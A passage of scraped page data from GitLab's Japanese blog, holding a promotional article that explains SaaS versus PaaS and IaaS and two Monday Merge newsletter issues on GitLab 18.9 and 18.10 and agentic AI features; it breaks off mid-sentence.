GitLab","GitLab.comのデプロイパイプラインを技術的に深掘りします。段階的ロールアウト、Canary戦略、データベースマイグレーション、マルチバージョン互換性について解説します。",{"featured":13,"template":796,"slug":1010},"continuously-deploying-the-largest-gitlab-instance",{"content":1012,"config":1021},{"description":1013,"title":1014,"authors":1015,"heroImage":1017,"date":1018,"category":706,"body":1019,"updatedDate":1020},"SaaSの基礎、利用するメリット・デメリット、PaaSやIaaSとの違い、ソフトウェア開発に役立つサービスなどをご紹介。ぜひお読みください。","SaaSとは？意味・読み方・PaaS/IaaSとの違い・メリットをわかりやすく解説",[1016],"GitLab Team","https://res.cloudinary.com/about-gitlab-com/image/upload/v1760421091/iaruhhz70gncm8bqfqyg.jpg","2025-10-15","SaaSを利用することで、様々な業務をより効率的に、かつ低コストで実施できます。本記事では、SaaSとは何かを分かりやすく説明するとともに、用途別のおすすめSaaSやソフトウェア開発におけるSaaS活用のメリットなどを解説します。GitLabが提供するSaaSも後半で詳しくご紹介します。\n## 目次\n* SaaSとは？\n* ソフトウェア利用モデルの比較\n* SaaSのメリット\n* SaaSのデメリット\n* SaaSとPaaS・IaaSの違いとは？\n* SaaSを選ぶ際のポイント\n* 代表的なSaaSと主な機能\n* GitLabはソフトウェア開発にどのように貢献するのか？\n* SaaSやGitLabに関するFAQ\n## SaaSとは？仕組みやクラウドとの違い\nSaaSは「Software as a Service」の略称で、読み方は「サース」もしくは「サーズ」です。日本語にすると「サービスとしてのソフトウェア」となります。\nSaaSは、サービス提供会社（ベンダー）のサーバーで提供されているソフトウェアを、インターネットなどのネットワークを介して利用できるサービスのことです。自身のパソコンや自社サーバーにソフトウェアをインストールしなくても、インターネット経由で最新のサービスを利用できます。\nSaaSの例としてよく挙げられるのがGoogleが提供しているGoogleドキュメントやGoogleスプレッドシート、Googleドライブなどです。特定のソフトウェアやアプリをインストールしなくても、これらの機能をオンライン上で自由に利用できます。\n弊社が提供しているソフトウェア開発プラットフォーム「[GitLab](https://about.gitlab.com/ja-jp/)」も、ソフトウェア開発に関するSaaSの代表格の1つです。\n### SaaSの仕組み\n一般的なソフトウェアは自社のサーバーやパソコンなどにインストールして利用しますが、SaaSの場合には、サービス提供会社のサーバーにてソフトウェアが起動しています。インターネットを介してサービス提供会社のサーバーに接続し、そこでソフトウェアを利用する、というのがSaaSの主な仕組みです。\n提供会社がソフトウェアを頻繁にアップデートしているため、最新のサービスがどこからでも、どのデバイスからでも利用できます。\n### SaaSとクラウドサービスの違い\nよく似た言葉に「クラウドサービス」があります。同様の意味合いで使われる用語ですが、クラウドサービスはアプリに限定されないより広範な概念です。後に説明するPaaSやIaaSなどもクラウドサービスに当てはまります。クラウドサービスの1つがSaaSだと考えるとよいでしょう。\n## ソフトウェア利用モデルの比較\n企業がソフトウェアを利用する方法は主に以下の3つです。\n*  オンプレミス型\n* インストール型\n* SaaS\nそれぞれの特徴について簡単に説明します。\n### オンプレミス型\nオンプレミス型とは、自社のサーバーにソフトウェアを組み入れ、自社独自のシステムを構築する方法です。思い通りにカスタマイズできる、情報漏洩のリスクが少ないなどのメリットがありますが、一方で構築までに時間と費用がかかる、保守が正しくできないとセキュリティリスクが高まるなどのデメリットもあります。\n### インストール型\nインストール型は、ソフトウェアを利用予定のパソコンにインストールすることで、そのパソコンでのみ機能が使えるようにする方法です。オンプレミス型に比べると低価格で利用できる、導入に時間がかからないなどのメリットがありますが、一方で機能の拡張が難しい、アップデートのし忘れによるセキュリティ脆弱性リスクが高いなどのデメリットがあります。\n### SaaS\n昨今の主流となっているSaaSは、運営会社が管理しているサービスにインターネットを介してアクセスし、オンライン上で利用する方法です。\nより最先端の機能を利用したい、セキュリティに配慮したソフトウェアを利用したい、料金を安く抑えたいなどのニーズの増加により、オンプレミス型やインストール型ではなく、SaaSを利用する企業が増えています。\n## SaaSのメリット\nSaaSには、オンプレミス型やインストール型にはない数々のメリットがあります。\n### 最新の機能を利用できる\nサービス提供会社が自社のサーバー内でソフトウェアのアップデートを行い、そのサービスをインターネットを経由して利用するため、常に最新の機能やデザインを利用できます。\n### 利用開始までの時間が短い\nSaaSはインターネット上で契約と支払いを済ませたら、即座に利用が可能です。最低利用期間が定められているSaaSが多いものの、解約手続きも比較的簡単です。\n### 導入費用を抑制できる\n多くのSaaSは初期導入費用が無料、もしくはオンプレミス型と比べて安い傾向にあります。\n初期投資で大きな資金を準備することが難しい企業にとっては、毎月支払いのSaaSの料金プランは大きな魅力といえます。\n### セキュリティ対策に強い\nSaaSはサービス提供会社がソフトウェアに対してセキュリティ対策を実施します。自社でセキュリティ対策を行う必要がないため、人件費や労力を削減できるとともに、高い安全性が確保されたソフトウェアを使い続けることが可能です。\n### 場所を選ばない\nSaaSはインターネットさえ使えれば、どこにいても、どのデバイスからでも同様のサービスやデータにアクセスできます。急な出張が入り自身のパソコンを利用できない場合でも、別のパソコンを使ってログインすることで、普段と同じデータにアクセスできます。\n昨今拡大しているリモートワークとも相性のよいモデルとして需要が高まっています。\n### 複数人での利用に強い\nSaaSは複数人による利用に優れています。元となるデータがクラウドサーバー上に保存されているため、複数人がそのデータに直接アクセスし、同時並行で作業を進められます。\n例えば、ソフトウェア開発に関するSaaSを利用すれば、複数のデベロッパーが同時に作業を行い、それぞれの作業を即座に反映させることが可能です。\n## SaaSのデメリット\n多くのメリットがあるSaaSですが、もちろんいくつかのデメリットもあります。SaaSを利用する際には、これらのデメリットについてもよく理解し、事前に対策を練るようにしてください。\n### ソフトウェアアップデートによる急な仕様の変更\nSaaSは、サービス提供会社によって常にアップデートが行われています。方向性の転換により、操作画面の機能やデザインが急に変更になったり、これまで頻繁に使っていたシステムがなくなったりすることがあります。以前のバージョンが使いやすかったと感じても、自社の判断によって戻すことはできません。\n### 継続的な出費が発生する\n初回導入時には比較的予算が抑えられるSaaSですが、月額・年額の継続費用が発生し、長期利用ではコストが高くなる場合があります。\n### ログイン情報の漏洩によるセキュリティリスク\nサービスにアクセスするためのログイン情報が漏れた場合、他者にアクセスされる可能性が生じます。二段階認証プロセスを利用することで不正なアクセスは防げるものの、ログイン情報の管理については慎重に実施する必要があります。\n### ネットワーク環境の影響を受ける\nSaaSは、インターネットが利用できない場所では利用できません。停電やネットワークエラーによってインターネットが使えない場合、SaaSにアクセスできなくなり、作業が一時中断してしまう可能性があります。\n### SaaS側の不具合やメンテナンス\nSaaSが何らかの不具合に直面した場合、もしくは大規模なシステムアップデートのため長期に及ぶメンテナンスが必要になった場合には、サービスが一時的に利用できなくなる可能性があります。\n利用予定のSaaSが頻繁なメンテナンスを実施していないか、メンテナンスの場合には代替機能が利用できるかどうかを事前にチェックするとよいでしょう。\n## SaaSとPasS・IaaSの違いとは？サービス内容も紹介\nSaaSとよく比較される用語に「PaaS」と「IaaS」があります。自社に最適な機能を選ぶうえで、これらの違いを理解することは非常に重要です。\n### PaaSとは\nPaaSは「Platform as a Service」の略称で、「パース」と読みます。名称からもわかる通り、PaaSは主にクラウド上で利用できるプラットフォームを指します。PaaSの提供範囲は主にプラットフォームのため、ソフトウェアやアプリは含みません。\n例えばPaaSは、システムやアプリケーションを開発するためのプラットフォームをクラウド上で提供します。複数のデベロッパーが同時にアクセスし、協力体制のもとでアプリケーション開発などを進める場合に役立ちます。\n### IaaSとは\nIaaSは「Infrastructure as a Service」の略称で、「イーアス」や「アイアース」と読みます。IaaSがクラウド上で提供するのはサーバーやネットワークなどのインフラ基盤のみです。ソフトウェアやプラットフォームなど、事前に構築されたシステムや枠組みがないため、より自由な開発環境を整えたい企業に向いています。ただし、開発環境の構築も含めて自社で実施するだけの人材力やスキルが必要とされます。\n### SaaS・PaaS・IaaSの比較\nSaaSとPaaS、IaaSの各サービス内容をまとめると、以下のようになります。\n表1　SaaS・PaaS・IaaSが網羅するサービスの比較\n| サービス            | SaaS | PaaS | IaaS |\n| --------------- | ---- | ---- | ---- |\n| ソフトウェア・アプリケーション | ◎    |      |      |\n| ミドルウェア          | 〇    | ◎    |      |\n| OS              | 〇    | ◎    |      |\n| ネットワーク          | 〇    | 〇    | ◎    |\n| ストレージ           | 〇    | 〇    | ◎    |\n| サーバー            | 〇    | 〇    | ◎    |\n\n\nSaaSはすべてを網羅しているとはいえ、ミドルウェアやOSの使い勝手や機能に関してはPaaSがより優れています。IaaSは質の高いインフラ基盤を比較的安価に導入できる方法として、SaaSやPaaSとは差別化できます。\nそれぞれの特徴をよく理解した上で、自社に最適なサービスを導入することが重要です。\n## SaaSを選ぶ際のポイント\n自社の現状や課題に合ったSaaSを利用することで、業務効率化やコスト削減を実現することができます。一方で、自社に合わないSaaSを選んでしまうと、不慣れな作業によって時間がかかったり、せっかく購入したにも関わらず活用されなかったりする場合があります。\nそのため、SaaSを導入する際には以下のポイントをよく確認するようにしてください。\n### 機能性\nSaaSの機能は事務系やコミュニケーション系、ソフトウェア開発系など多岐にわたります。自社で解決したい課題をリストアップするとともに、どの機能を備えたSaaSが最適かをよく検討するようにしてください。\nまた、用途だけでなく、機能や操作画面の使い勝手も確認するとよいでしょう。例えば、日本語に最適化されていないSaaSでは、言語の違いによりスムーズに利用できない可能性があります。\nミスマッチを防ぐためにも、まずは無料トライアルを提供しているSaaSを選び、試してみることをおすすめします。\n### コストや料金体系\nSaaSは初期費用が比較的安く設定されているのが特徴です。ただし、毎月もしくは毎年費用が発生するため、長期的にみると大きな費用負担になる場合があります。多くのSaaSは1ユーザーごとの料金設定のため、大勢で利用した場合にはコストが大きくなります。\nまた、SaaSは最低利用期間や解約までに必要な月数などが設定されている場合がほとんどです。解約しやすいのがSaaSの特徴の1つですが、場合によっては解約時にも費用が発生する点にも注意が必要です。\n### セキュリティ\nSaaSでは、システム利用やデータの保管はすべてサービス提供会社のサーバー内で行われるため、自社でセキュリティ対策を実施する必要はありません。ただし、提供会社側でセキュリティ問題が発生した場合には、重要なデータが消去もしくは漏洩する可能性があります。\nSaaSを利用する際には、セキュリティ対策の充実度をしっかりと確認するようにしてください。\n### サポート体制\nSaaSは様々な機能が随時追加されるため、機能やデザインなどに関して、サポートの助けが必要になることが多々あります。特に緊急性のある案件に関係するSaaSにおいては、電話対応や24時間のチャットサポートに対応しているかは重要です。また、海外発のSaaSを利用する際には、日本語サポートにも対応しているかを確認するようにしてください。\n## 代表的なSaaSと主な機能\n企業が導入を検討すべきおすすめのSaaSを紹介します。\n### オフィス業務に強い「Google WorkSpace」\n「[Google Workspace](https://www.g-workspace.jp/googleworkspace/)」は、Google社が提供する有料オンラインアプリケーションセットです。GoogleドキュメントやGoogleスプレッドシート、Googleドライブ、Gmailなど、オフィス作業や業務効率化に役立つ数々のツールが利用できます。データはすべてGoogleのサーバー内に保管され、Googleが常に最新のセキュリティ対策を行っているため、安心して利用できます。\n利用には一定の[費用](https://www.g-workspace.jp/price/)が掛かりますが、様々な便利機能を安心して利用したい企業におすすめです。\n### 気軽なチャット機能が人気「ChatWork」\n多くの企業が導入しているチャット型のコミュニケーションツールが「[ChatWork](https://go.chatwork.com/ja/)」です。メールでのやりとりでは、文章を作成したり回答を得たりするのに時間がかかりますが、ChatWorkのチャットであれば時間を大幅に削減できます。\nチャットデータはすべてChatWorkが管理するサーバー内に保管されているため、パソコンやスマホ、タブレットなど、デバイスを選ばずに利用できます。日本企業が開発したSaaSのため、日本人が使いやすいように設計・最適化されているのも大きな魅力といえます。\nフリープランは無料で利用できますが、ビジネス用途であれば高いセキュリティ性能を備えた[エンタープライズプラン](https://go.chatwork.com/ja/price/?click=header-navi)がおすすめです。現在社内でのやりとりでメールを利用している、社員間のコミュニケーションを促進するツールを探している企業に最適です。\n### オンラインミーティングの大改革を果たした「Zoom」\nミーティングや営業のあり方を大きく変えたことで知られるのが「[Zoom](https://www.zoom.com/ja)」です。インターネットを利用したオンラインミーティングが実施でき、異なる場所や出張時・在宅ワークなどでのミーティング参加が可能となりました。\nまた、Zoomは営業向けにも様々な便利機能を追加しており、録画機能や自動文字起こし、資料の共有、スケジュール管理など、1つのツールで多様な課題を解決できます。\n無料のベーシックプランでもオンラインミーティング機能は利用できますが、長時間のミーティングを開催したい、より便利な機能を利用したいという方は、有料の[ビジネスプラン](https://www.zoom.us/ja/pricing?optimizely_user_id=e1913a438ebff25397b6ac8df20b7ac4&amp_device_id=a3148cc2-3076-420f-9c2e-569a037fc688&_ics=1731285869840&irclickid=%7Ebhadihjcf8134WZOMNV1RIJGKHABFxwrmukopfgb3VKHFAypg-8Z&_gl=1*sl16es*_gcl_au*MzE1NDA4NTUwLjE3MzEyODU4Njk.*_ga*NTAzNTU1OTQ1LjE3MzEyODU4NzA.*_ga_L8TBF28DDX*MTczMTI4NTg3MC4xLjAuMTczMTI4NTg3MC4wLjAuMA..&_ga=2.208402578.1219391157.1731285871-503555945.1731285870)がおすすめです。\n### アプリケーション開発に最適な「GitLab」\nアプリケーション・ソフトウェア開発におすすめのSaaSが、弊社が提供する「[GitLab](https://about.gitlab.com/ja-jp/)」です。AI搭載のDevSecOpsプラットフォームで、開発効率化やセキュリティに優れています。\n複数のデベロッパーが同時並行で作業できる[マルチテナント環境](https://about.gitlab.com/ja-jp/why-gitlab/)を提供するとともに、AIを含めた様々な便利アプリにより開発を効率化できます。\nビジネス目的であれば、より多くの機能が利用でき、かつセキュリティも充実している「Premium」や「Ultimate」などの有料プランがおすすめです。60日間の[無料トライアル](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/why-gitlab/&glm_content=default-saas-trial)もあるため、まずはお気軽にお問い合わせください。\nまた、より迅速に開発を進めたい方向けに、シングルテナント型SaaSで提供される「[GitLab Dedicated](https://about.gitlab.com/dedicated/)」サービスもあります。GitLabチームがプラットフォーム管理やデプロイを担当するため、必要な作業が大幅に削減され、重要なタスクに注力可能です。\n## GitLabはソフトウェア開発にどのように貢献するのか？\nGitLabは、クラウド上で機能するソフトウェアアプリケーション開発プラットフォームです。企業は開発、保護、そしてデプロイの複雑化に効果的に対応でき、結果としてサイクルタイムを1/7に短縮できる可能性があります。\nデベロッパーの生産性が向上するとともに、メンテナンスに必要な時間を削減できるため、多くの時間をより重要な作業に費やすことが可能です。スピーディで効率的な開発を行うことで、他社と差別化できます。\n従来からDevSecOpsプラットフォームの開発に専念してきたGitLabでは、特にセキュリティ分野において優位性を持ちます。GitLabのセキュリティ対策チームが常に最新のセキュリティ対策を研究し、ツールに導入しているため、弊社SaaSを利用する際には、すでに最新の対策が施されている状態です。これにより、開発したソフトウェアの安全を確保します。\n## SaaSやGitLabに関するFAQ\nSaaSやGitLabに関するFAQについて以下にまとめてあります。ぜひ参考にしてください。\n### GitLabではどのようなSaaS開発環境やオプションが可能か？\nGitLabでは、GitLabプラットフォームが自由に使える[マルチテナントSaaS](https://about.gitlab.com/ja-jp/why-gitlab/)と、デプロイや管理をGitLab側で担当するシングルテナントSaaSの[GitLab Dedicated](https://about.gitlab.com/dedicated/)のどちらかをお選びいただけます。また、GitLabではオンプレミスにも対応しています。\n\n\nSaaSによるソフトウェア開発が初めてで管理や操作に不安が残る方には、GitLab Dedicatedをおすすめします。ぜひご検討ください。\n### 開発分野のSaaSに限定した場合、オンプレミスと比べてどのようなメリットがあるか？\nオンプレミス型の開発環境の場合、セキュリティやガバナンス対策を自社ですべて実施する必要があります。人材を保守や運用、調査などに回す必要があるため、大きな人的コストがかかるのと同時に、開発速度も遅くなります。\n\n\nSaaSによる開発環境では、セキュリティやガバナンスをGitLabが調査、適用するため、保守運用にかかる時間を大幅に削減できます。昨今は必要なセキュリティ対策やガバナンス対策が頻繁に変化する時代です。SaaSによる開発環境を利用することで、それらの心配をする必要がなくなり、重要な作業に集中できます。\n### その他のSaaS開発環境と比較した際のGitLabの強みとは\nGitLabは、ソフトウェア開発のライフサイクル全体に対応する**DevSecOpsプラットフォーム**です。Fortune100企業の50％強が利用し、登録ユーザー数は2024年時点で約3,000万人を超えています。\n\n\nGitLabは迅速かつ効率的なソフトウェアデリバリーを実現する包括的なプラットフォームとして常に進化を遂げてきました。また、早くからセキュリティやコンプライアンスを重要な軸として位置づけ、プラットフォーム内に機能を組み入れてきた歴史があります。\n\n\n昨今はセキュリティに配慮しつつ、ガバナンスやコンプライアンスを順守しながらソフトウェア開発を進めていく必要があります。しかしながら、優秀なデベロッパーが保守運用に時間をとられ、何よりも重要な開発作業に時間を割けない問題が多くの企業で発生しています。GitLabプラットフォームを利用することで、デベロッパーがセキュリティ対策やエラー修正にかける時間を大幅に削減できます。 [GitLab](https://about.gitlab.com/ja-jp/)は、設立当初から、リモートワーク、オープンソース、DevSecOps、イテレーションへの確固たる信念を持ち続けてきました。GitLabは新しいイノベーションを模索し続けます。より優れた開発プラットフォームを模索している企業様に、GitLabは最先端・最高品質のサービスを提供いたします。","2026-03-03",{"featured":641,"template":796,"slug":1022},"what-is-saas",{"category":721,"slug":719,"posts":1024},[1025,1036,1047],{"content":1026,"config":1034},{"category":719,"body":1027,"date":1028,"updatedDate":1029,"heroImage":1030,"authors":1031,"title":1032,"description":1033},"こんにちは、Fatimaです。4月のMonday Mergeへようこそ。\n\n今月は内容が盛りだくさんです。GitLab 18.10、エージェント型AIへのアクセス拡大、Claude Marketplaceでの大きな前進、グローバルなハッカソン、そしてお客様による実際の素晴らしい成果についてお話しします。\n\n取り上げる内容がたくさんあるので、さっそく見ていきましょう👇👇👇👇👇👇👇\n\n![GitLab 18.10](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782465/iqzcxratajkcnnnzdzky.png)\n\nAIによってコードを書くスピードはこれまでになく速くなりました。しかし、多くのチームが実感しているように、もはや本当のボトルネックはそこではありません。\n\n問題は、その後のプロセスです。\n\nGitLab 18.10は、エージェント型AIをソフトウェアライフサイクルのより深い部分に組み込み、あらゆる規模のチームがより簡単に、より手頃に、そしてより実用的に導入できるように設計されています。\n\n私が特に注目しているポイントをいくつかご紹介します：\n\n* **無料プランにもエージェント型AIを提供**：GitLab.comの無料プランを利用しているチームでも、GitLabクレジットの月額コミットを購入することで、ユーザー単位の課金なしにGitLab Duo Agent Platformを利用できるようになりました  \n* **Agentic Code Reviewのコストを固定化**：コードレビュー1件あたり25セント（現在はGitLabクレジット1つで4件）となり、コストの予測性を保ちながら、すべてのプロジェクトやマージリクエストにスケール可能になりました  \n* **SASTの誤検出判定機能が一般提供開始**：GitLab Duo Agent Platformを利用するGitLab Ultimateユーザー向けに提供され、セキュリティおよび開発チームが重要な脆弱性とその対応をより適切に優先付けできるようになります  \n* **60以上の改善**：プランニングからセキュリティ、CI/CDまで、このリリースはコミット間でチームのボトルネックを解消することに焦点を当てています\n\nここでの大きな変化は明確です。コードを書くスピードを上げるAIから、その後に必要となるすべてのソフトウェアエンジニアリング業務を支援するAIへと移行しているのです。\n\n**🔗 [リリースノートの詳細はこちら。](https://www.linkedin.com/redir/redirect?url=https%3A%2F%2Fabout%2Egitlab%2Ecom%2Freleases%2F2026%2F03%2F19%2Fgitlab-18-10-released%2F&urlhash=0Act&trk=article-ssr-frontend-pulse_little-text-block)**\n\n\n\n## GitLab Duo Agent PlatformがClaude Marketplaceで利用可能に\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782462/nnub3neiya1njshibrz2.png)\n\n\n\n組織は、既存のAnthropicとの契約を活用してGitLabを購入し、エンタープライズレベルのセキュリティ、品質、ガバナンスを維持しながら、ソフトウェアライフサイクル全体でエージェント型AIを統合・活用できるようになりました。\n\n![Flowlands](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782462/zmcxtubkzub1uobe4crl.png)\n\n**（はい…Flowlandsは実在します。まあ、概念として。）**\n\n最近、GitLabのテーマパークについて何か見かけたなら、それは見間違いではありません。\n\nFlowlandsは、エイプリルフールの企画でした。ソフトウェア開発が“物理的な体験”になるという、少し突飛で完全に想像上の世界です。\n\nでも正直なところ、みんな行ってみたいですよね。\n\n🎢🎡🎪🎠 見逃した方は、ぜひテーマパークのカルーセルをご覧ください！（ダジャレです😄）\n\n## **GitLab Hackathon: 2026年4月16日〜23日**\n\n![GitLab Hackathon](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782464/jk3o4ynp6lj3spttkmzg.png)\n\n現実に戻りましょう。\n\nグローバルGitLabハッカソンは2026年4月16日から23日まで開催され、プラットフォームやコミュニティに実際に触れながら参加できる最高の機会のひとつです。\n\n* 実際のGitLabプロジェクトに貢献  \n* グローバルなオープンソースコミュニティと協働  \n* コード、ドキュメント、UXなど幅広い分野で開発  \n* 賞品を獲得し、GitLabプロフィールを強化\n\n初心者でも経験者でも、参加して実際に手を動かし始める絶好のチャンスです。\n\n🔗 [こちらから参加できます。どなたでも歓迎です！](https://www.linkedin.com/redir/redirect?url=https%3A%2F%2Fcontributors%2Egitlab%2Ecom%2Fhackathon&urlhash=4KIo&trk=article-ssr-frontend-pulse_little-text-block)\n\n## **カスタマースポットライト：Canada Life**\n\n![Canada Life](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782462/qtg3vpbyxo0pvdepesbv.png)\n\n今月特に印象的だったのは、チームが本格的にAIを活用したときに何が起こるかを目の当たりにしたことです。\n\n私たちはCanada Lifeと提携し、2日間のAIハッカソンを実施しました。開発、セキュリティ、コンプライアンス、ビジネス部門から100名以上が参加し、実際にエンタープライズレベルのソリューションを構築しました。\n\nその結果は驚くべきものでした：\n\n* わずか48時間で10件のエンタープライズ向けAIソリューションを構築  \n* コードレビュー時間を40％削減  \n* リリースノート作成時間を90％削減  \n* コンプライアンス違反を80％削減\n\nさらに、コストを96.7％削減したレガシーコードのモダナイゼーション支援ツールや、オンボーディング時間を半分に短縮した開発者向けオンボーディングアシスタントなども開発されました。\n\n彼らの言葉を借りると：\n\n*「もし48時間でこれだけのことができるなら、*\n\n*この先に何が待っているのか想像してみてください。」*\n\n## **今後のイベント**\n\n![GitLab Events](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782462/stbub39txwqdkbaczo3d.png)\n\n今月はオンライン・オフラインともに多数のイベントを予定しており、ぜひご参加いただければ嬉しいです。\n\n注目のイベントをいくつかご紹介します：\n\n![イベントいちらん](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782465/ggioajzrs6lkyavbqta4.png)\n\n🔗 [Wherever you are in the world, there’s something happening so check out our events page here!](https://www.linkedin.com/redir/redirect?url=https%3A%2F%2Fabout%2Egitlab%2Ecom%2Fevents%2F&urlhash=dRaL&trk=article-ssr-frontend-pulse_little-text-block)\n\n## **今月のおすすめ**\n\n![今月のおすすめ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782461/s8g358gll3ai4wfmrw8v.png)\n\n今月も興味深い記事をいくつか紹介します。\n\n政府機関のチームがAIを活用したDevOpsによってどのようにモダナイゼーションを進めているのか、技術的負債の削減からライフサイクルの早い段階でのセキュリティ組み込みまでを探っています。\n\nまた、企業全体でのAI導入がどのように進化しているのかにも注目しています。特に、単なるコード生成を超えてワークフローを統合する方法や、SDLC全体にわたる複雑性の管理について考察しています。\n\n![記事一覧](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782466/zgarpxfpp5hxyxgssjbh.png)\n\n🔖 少し時間があるときにじっくり読めるよう、ぜひブックマークしておいてください！\n\n![画像出典：Chemical Heritage Foundation](https://res.cloudinary.com/about-gitlab-com/image/upload/v1775782465/cjsggxtiohfdgqqijrwm.png)\n\n画像出典：Chemical Heritage Foundation\n\n本当に、この4月はたくさんのことが起きています。エージェント型AIによって、より多くの実験や探求の余地が生まれていて、こんな言葉を思い出しました。\n\n「新しいアイデアに心を開き、いろいろ試してみることでさまざまなことが起こり得る。」\n\nケブラーの発明者であるステファニー・クオレクの言葉です。まさに今の状況にぴったりだと感じます。\n\nAIが反復的な作業の多くを担うようになることで、開発者はより自由に実験し、探求し、次のものを創り出す余地を手にしています。\n\nお読みいただきありがとうございました。ウェブキャストやIssueでお会いできるのを楽しみにしています。そして、これからも対話を続けていきましょう。それでは、いつものようにHappy Merging!\n\n![Fatima](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770180580/nz0ipehzgtcb757kl0ux.png)\n\n[Fatima Sarah Khalid](https://www.linkedin.com/in/sugaroverflow/?lipi=urn%3Ali%3Apage%3Ad_flagship3_pulse_read%3B3ix%2FZ9%2BgTBmIWuSHZsMZRw%3D%3D)｜Senior Developer Advocate, GitLab\n\nこのニュースレターが気に入ったら、ぜひチームに共有してください。\n そして👉[YouTubeチャンネル](https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg)の登録もお忘れなく！","2026-04-13","2026-04-10","https://res.cloudinary.com/about-gitlab-com/image/upload/v1775705768/iiihistfzncofktu7hx9.webp",[912],"Monday Merge 4月号：GitLab 18.10、エージェント型AIの勢い、そして大きなコミュニティの節目","4月号のMonday Mergeでは、GitLab 18.10、エージェント型AIへのアクセス拡大、Claude Marketplaceでの大きな前進、グローバルなハッカソンについてご紹介。",{"featured":641,"template":796,"slug":1035},"monday-merge-2026-april-13",{"content":1037,"config":1045},{"date":1038,"authors":1039,"tags":1040,"category":719,"heroImage":1042,"title":1043,"body":1044,"updatedDate":5},"2026-03-09",[912],[806,88,242,695,252,793,719,1041,757],"releases","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772623336/nnvczybh4adgqen81p9h.png","Monday Merge 3月号：コード高速化のその先：インテリジェント・オーケストレーションの台頭","**AIは、コードを書く方法を根本的に変えました。しかし、ソフトウェアの「提供方法」そのものを自動的に変えたわけではありません。**\n\n**コード生成が高速化する一方で、レビュー、テスト、セキュリティスキャン、デプロイといった下流工程に新たなボトルネックが生まれています。**\n\nこれが、私たちが「AIパラドックス」と呼ぶ現象です。\n\n今月のMonday Mergeでは、計画、開発、セキュリティ、デプロイにわたるSDLC全体でのインテリジェント・オーケストレーションがこの課題にどのように対応し、エンタープライズDevSecOpsをどのように再構築しているのかを探ります。\n\n## GitLab 18.9：エージェント型AIがプラットフォームのさらに深部へ\n\n![GitLab 18.9：エージェント型AIがプラットフォームのさらに深部へ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772623381/sobem8usbdsht8jl1unz.png)\n\n2月の締めくくりに、25以上の改善とエージェント型AI機能の大幅な進化を含むGitLab 18.9をリリースしました。\n\n### **セルフマネージド環境向け GitLab Duo Agent Platform**\n\nGitLab Duo Agent Platformは、オンラインライセンスを持つセルフマネージドのお客様向けに提供開始となりました。自社インフラ内でエージェント型AI機能を必要とするエンタープライズチームにとって、これは大きな前進です。\n\n### **エージェント型SAST脆弱性解決（ベータ）**\n\nSAST脆弱性のトリアージと修正は、アプリケーションセキュリティにおいて最も時間のかかる作業のひとつであることが多いです。GitLab 18.9では、GitLab Duoが次のことを実行できるようになりました。\n\n* 脆弱性を分析する\n* 周辺コードの文脈を推論する\n* コンテキストを考慮した修正を生成する\n* マージリクエストを自動作成する\n* レビュアーの信頼度を示す品質スコアを提供する\n\n単一の提案を出すのではなく、GitLab Duoはコードベース全体を推論し、十分に検討された修正提案を生成します。\n\n### **GitLab 18.9のその他の改善点**\n\n新しい折りたたみ可能なファイルツリーによりリポジトリをナビゲートでき、ページ読み込み回数を減らしながら、より効率的にプロジェクト構造を閲覧できます。\nGitLab.comではWebベースのコミット署名が利用可能になり、Web上のコミットがGitLabの署名キーで自動的に署名されます。\n\nそして、本リリースに530件以上の貢献をしてくださったGitLabコミュニティの皆さまに心より感謝します。GitLabでは誰もが貢献できることを18.9は証明しています。\n\n![Transcend](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772623383/xhcvcceyvjtww9emfbsj.png)\n\n先日開催されたGitLab Transcendのバーチャルイベントでは、AIエージェントが計画、開発、テスト、セキュリティ、デプロイにわたって単一のプラットフォーム上でどのように連携し、エンタープライズのガードレールやガバナンス要件に沿って動作するのかをご紹介しました。\n\nSouthwest Airlines社からは、GitLab Duo Agent Platformがどのようにチームのミッションクリティカルなソフトウェアをより迅速に提供しながら、24時間365日の航空運航に必要なレジリエンスを維持しているかについてお話しいただきました。また、SDLC全体でエージェントが協働するライブデモも実施し、特定の工程だけでなく、デリバリーライフサイクル全体をどのようにモダナイズできるかを探りました。\n\nイベントを見逃した方は、こちらからフル録画をご覧いただけます👇\n\n[GitLab Transcendを視聴する](https://about.gitlab.com/ja-jp/events/transcend/virtual/)\n\n## [](https://about.gitlab.com/events/transcend/virtual/)技術デモ\n\n![技術デモ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772623380/tch0unrnnwz2yjz7ba7y.png)\n\n[](https://page.gitlab.com/webcasts-mar4-security-workflows-emea-amer.html)\n\n### 📅 3月19日 –  開発現場でのGitLab Duo Agent Platform\n\n本セッションでは、\n\n* Duo Agent Platformを活用して、計画、Issueからのマージリクエスト（MR）作成、エージェント型コードレビューなど、複数ステップのワークフローを自動化する方法\n* GitLabの基盤エージェント（PlannerやSecurity Analystなど）を活用してSDLCを効率化する方法\n* GitLabの統合データモデルによる、コンテキストに応じたコード生成でコーディングを高速化する方法\n* AI駆動のセキュリティワークフローで脆弱性を自動検出・修復する方法\n* AIを活用した根本原因分析とガイド付きの修正により、パイプラインエラーを迅速に解決する方法\n\nをご紹介します。\n\n👉 こちらからご登録ください。\n\n[開発現場でのGitLab Duo Agent Platform](https://page.gitlab.com/webcasts-mar19-gitlab-duo-agent-platform-jp.html?utm_medium=social&utm_source=twitter&utm_campaign=eg_apac_cmp_webcast_ai_ja_20260319_apac_jp_cmp_techdemo_aisdlc_introtoduo)\n\n[](https://page.gitlab.com/webcasts-mar12-gitlab-duo-agent-platform-emea-de.html)\n\n## **今月のおすすめ**\n\n![今月のおすすめ](https://res.cloudinary.com/about-gitlab-com/image/upload/v1772623380/ejkfu5adv7bjwzwyevpd.png)\n\n今月は、インテリジェント・オーケストレーションの背景にあるより広い視点について、さらに深く掘り下げています。\n\nCEOのBill 